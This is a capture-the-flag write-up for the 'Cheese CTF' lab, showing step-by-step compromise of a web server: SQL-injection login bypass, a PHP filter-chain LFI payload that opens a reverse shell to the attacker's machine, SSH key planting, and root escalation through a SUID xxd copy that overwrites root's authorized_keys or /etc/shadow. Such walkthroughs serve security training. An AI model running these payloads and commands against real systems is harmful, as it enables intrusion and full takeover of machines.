Cheese CTF
This report details the penetration testing of a vulnerable web application. The assessment identified multiple vulnerabilities, including SQL Injection, Local File Inclusion (LFI) leading to Remote Code Execution (RCE), and a systemd-based privilege escalation exploit. These vulnerabilities were successfully exploited to gain root-level access to the target system.
1. Reconnaissance
The initial reconnaissance phase involved identifying open ports and services running on the target system. This was accomplished using the nmap
tool.
Command:
export TARGET_IP=10.10.214.217 # Set the target IP address
nmap -p- --min-rate 5000 $TARGET_IP
Results: The nmap
scan results are omitted for brevity. We note the presence of a login page at http://10.10.214.217
. This indicates a web application, which becomes the primary focus of the assessment.
2. Vulnerability Analysis and Exploitation
2.1 SQL Injection
The login page (http://10.10.214.217/login.php
) was identified as a potential target for SQL injection attacks. The ffuf
tool was used to automate the fuzzing process, testing various SQL injection payloads.
Command:
ffuf -w /usr/share/wordlists/seclists/Fuzzing/login_bypass.txt -u http://10.10.214.217/login.php -X POST -H "Content-Type: application/x-www-form-urlencoded" -d 'username=FUZZ&password=FUZZ' -fs 800
Results:
The ffuf
scan identified several successful SQL injection payloads. One example is:
' OR 'x'='x'#; [Status: 302, Size: 792, Words: 217, Lines: 26, Duration: 387ms]
By entering this payload into the username field (and anything into the password field), we were able to bypass the login and access the administrator panel.
2.2 LFI to RCE
After gaining access to the admin panel, observation revealed that resources were loaded using a file
parameter in the URL, and that PHP filters were being used. This suggested a Local File Inclusion (LFI) vulnerability, potentially exploitable for Remote Code Execution (RCE) via PHP filter chains.
Steps:
-
Generate PHP Filter Chain: The php_filter_chain_generator.py script was used to create a filter chain that would execute arbitrary PHP code.
Command:
python3 php_filter_chain_generator.py --chain '<?php $sock=fsockopen("10.2.17.44",6666);$proc=proc_open("sh", array(0=>$sock, 1=>$sock, 2=>$sock),$pipes);?>'
The reverse shell was created using https://www.revshells.com/ (
PHP proc_open
) with a slight modification (php tags). -
Craft the Exploit URL: The generated filter chain is incorporated into the URL, exploiting the LFI vulnerability. The URL will look like this (replace
<FILTER_CHAIN>
with the actual output from the script):http://10.10.214.217/secret-script.php?file=<FILTER_CHAIN>
-
Establish a Listener: On the attacking machine, a netcat listener is set up to receive the reverse shell connection.
Command:
nc -lvnp 6666
-
Trigger the Exploit: Accessing the crafted URL in a web browser triggers the LFI vulnerability, executes the PHP filter chain, and establishes the reverse shell connection to the attacker's machine.
Results: After triggering the exploit, a shell was obtained on the target system as the www-data
user.
id
# uid=33(www-data) gid=33(www-data) groups=33(www-data)
2.3 User Privilege Escalation (SSH Access)
After gaining initial access as www-data
, the goal was to escalate privileges. Examination of the filesystem revealed an interesting, potentially misconfigured SSH setup for the user comte
.
Steps:
-
Identify Target: The presence of an empty
authorized_keys
file in/home/comte/.ssh/
suggested the possibility of adding an attacker-controlled SSH key.ls -al /home/comte/.ssh
# -rw-rw-rw- 1 comte comte 0 Mar 25 2024 authorized_keys -
Generate SSH Key Pair: On the attacking machine, an RSA key pair was generated.
ssh-keygen -t rsa -f ~/Downloads/id_rsa
-t rsa
: Specifies RSA key type.-f ~/Downloads/id_rsa
: Specifies the output file name (and automatically createsid_rsa.pub
for the public key). It's good practice to not overwrite your default SSH key.
-
Copy Public Key: The contents of the generated public key (
id_rsa.pub
) were copied to the clipboard. The commandxclip < ~/Downloads/id_rsa.pub
can be used on systems withxclip
installed. Otherwise, manually copy the contents. -
Write Public Key to Target: Using the existing reverse shell, the attacker's public key was written to the
authorized_keys
file on the target system.echo "ssh-rsa AAA...kali@kali" > /home/comte/.ssh/authorized_keys
Replace
"ssh-rsa AAA...kali@kali"
with your actual public key. -
Establish SSH Connection: From the attacking machine, an SSH connection was established to the target system as the
comte
user, using the generated private key.ssh -i ~/Downloads/id_rsa comte@$TARGET_IP
-i ~/Downloads/id_rsa
: Specifies the private key file.
Results: Successful SSH login as the comte
user was achieved.
id
# uid=1000(comte) gid=1000(comte) groups=1000(comte),24(cdrom),30(dip),46(plugdev)
2.4 Root Privilege Escalation (systemd)
Further investigation revealed that the comte
user had sudo
privileges to execute specific systemctl
commands related to a service named exploit
. This pointed towards a systemd-based privilege escalation.
Steps:
-
Check sudo Permissions:
sudo -l
Results:
User comte may run the following commands on cheesectf:
(ALL) NOPASSWD: /bin/systemctl daemon-reload
(ALL) NOPASSWD: /bin/systemctl restart exploit.timer
(ALL) NOPASSWD: /bin/systemctl start exploit.timer
(ALL) NOPASSWD: /bin/systemctl enable exploit.timer -
Inspect the Service File:
cat /etc/systemd/system/exploit.service
Result:
[Unit]
Description=Exploit Service
[Service]
Type=oneshot
ExecStart=/bin/bash -c "/bin/cp /usr/bin/xxd /opt/xxd && /bin/chmod +sx /opt/xxd"This service file copies
/usr/bin/xxd
to/opt/xxd
and sets the SUID bit. This is the core of the privilege escalation. -
Inspect and Correct the Timer File:
cat /etc/systemd/system/exploit.timer
Result (and explanation):
[Unit]
Description=Exploit Timer
[Timer]
OnBootSec=
[Install]
WantedBy=timers.targetThe
OnBootSec=
directive is missing a value. This prevents the timer from starting, and thus the service from running. To trigger the exploit, we need to fix this. -
Edit the Timer File (using nano or another editor):
nano /etc/systemd/system/exploit.timer
Change
OnBootSec=
to a valid value, such as:OnBootSec=0min
This will trigger the service immediately after the timer starts.
-
Reload, Start and Enable Timer
sudo systemctl daemon-reload
sudo systemctl start exploit.timer
sudo systemctl enable exploit.timer -
Exploit the SUID Binary: The
exploit.service
, when triggered by the timer, creates a SUID copy ofxxd
at/opt/xxd
. This allows any user to executexxd
with root privileges.Method 1: Write SSH Key to Root's
authorized_keys
LFILE=/root/.ssh/authorized_keys
echo 'ssh-rsa AAA...kali@kali' | /opt/xxd | /opt/xxd -r - "$LFILE"- Replace
'ssh-rsa AAA...kali@kali'
with your actual public key. - This uses
xxd
(running as root due to the SUID bit) to write your public key to root'sauthorized_keys
file. The-r
option ofxxd
converts a hex dump back into binary, which is crucial for writing the key correctly.
Then, connect via SSH:
ssh -i ~/Downloads/id_rsa root@$TARGET_IP
id # uid=0(root) gid=0(root) groups=0(root)Method 2: Modify
/etc/shadow
(Less Reliable)openssl passwd -1 password # Generate a password hash ($1$spEDoxbT$3eo/uX2UhviVzYdt4ijny1)
LFILE=/etc/shadow
/opt/xxd "$LFILE" | /opt/xxd -r # View /etc/shadow (optional)
echo 'root:$1$spEDoxbT$3eo/uX2UhviVzYdt4ijny1:19627:0:99999:7:::' | /opt/xxd | /opt/xxd -r - "$LFILE"
/opt/xxd "$LFILE" | /opt/xxd -r # Verify (optional)
su # Use the new password
id # uid=0(root) gid=0(root) groups=0(root)- Important: Modifying
/etc/shadow
directly is extremely risky. A single mistake can render the system unbootable or lock you out. The SSH key method is much safer. The behavior of overwriting is indeed "weird" because you're not performing a clean line replacement.
- Replace